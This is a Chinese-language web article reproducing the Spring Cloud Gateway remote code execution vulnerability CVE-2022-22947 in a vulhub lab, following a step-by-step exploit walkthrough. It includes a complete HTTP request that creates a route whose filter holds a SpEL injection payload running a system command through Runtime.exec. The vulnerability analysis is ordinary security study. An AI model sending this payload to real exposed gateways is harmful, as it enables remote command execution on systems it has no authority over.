当前位置: 七九推 > IT编程>开发语言>Java > Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

2023年03月17日 Java 我要评论
声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。漏洞描述使用spring cloud gateway的应用程序在a

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

使用spring cloud gateway的应用程序在actuator端点启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

当攻击者可以访问actuator api时,就可以利用该漏洞执行任意命令。

影响范围

spring cloud gateway < 3.1.1
spring cloud gateway < 3.0.7
spring cloud gateway 其他已不再更新的版本

环境搭建

漏洞环境搭建,采用vulhub,搭建方法,自行搜索。

搭建成功后,访问一下

漏洞复现

1.查看actuator端点是开启的

抓包,并修改接口为/actuator

2. 查看/actuator/gateway/routes

返回的路由信息,意思是当访问index时,路由到http://example.com:80

3.创建路由

post /actuator/gateway/routes/test http/1.1
host: 192.168.10.171:8080
user-agent: mozilla/5.0 (windows nt 10.0; win64; x64; rv:94.0) gecko/20100101 firefox/94.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
accept-language: zh-cn,zh;q=0.8,zh-tw;q=0.7,zh-hk;q=0.5,en-us;q=0.3,en;q=0.2
accept-encoding: gzip, deflate
connection: close
upgrade-insecure-requests: 1
if-modified-since: thu, 17 oct 2019 07:18:26 gmt
if-none-match: "3147526947"
cache-control: max-age=0
content-type: application/json
content-length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "addresponseheader",
            "args": {
                "value": "#{new java.lang.string(t(org.springframework.util.streamutils).copytobytearray(t(java.lang.runtime).getruntime().exec(new string[]{\"whoami\"}).getinputstream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

4.刷新路由

5.访问创建的路由

6.删除路由

7.再次刷新路由

8.然后,访问该路由,发现路由已被删除

到此这篇关于spring cloud gateway远程命令执行漏洞(cve-2022-22947)的文章就介绍到这了,更多相关spring cloud gateway远程命令执行漏洞内容请搜索七九推以前的文章或继续浏览下面的相关文章希望大家以后多多支持七九推!

(0)
打赏 微信扫一扫 微信扫一扫

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2023  七九推 保留所有权利. 粤ICP备17035492号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com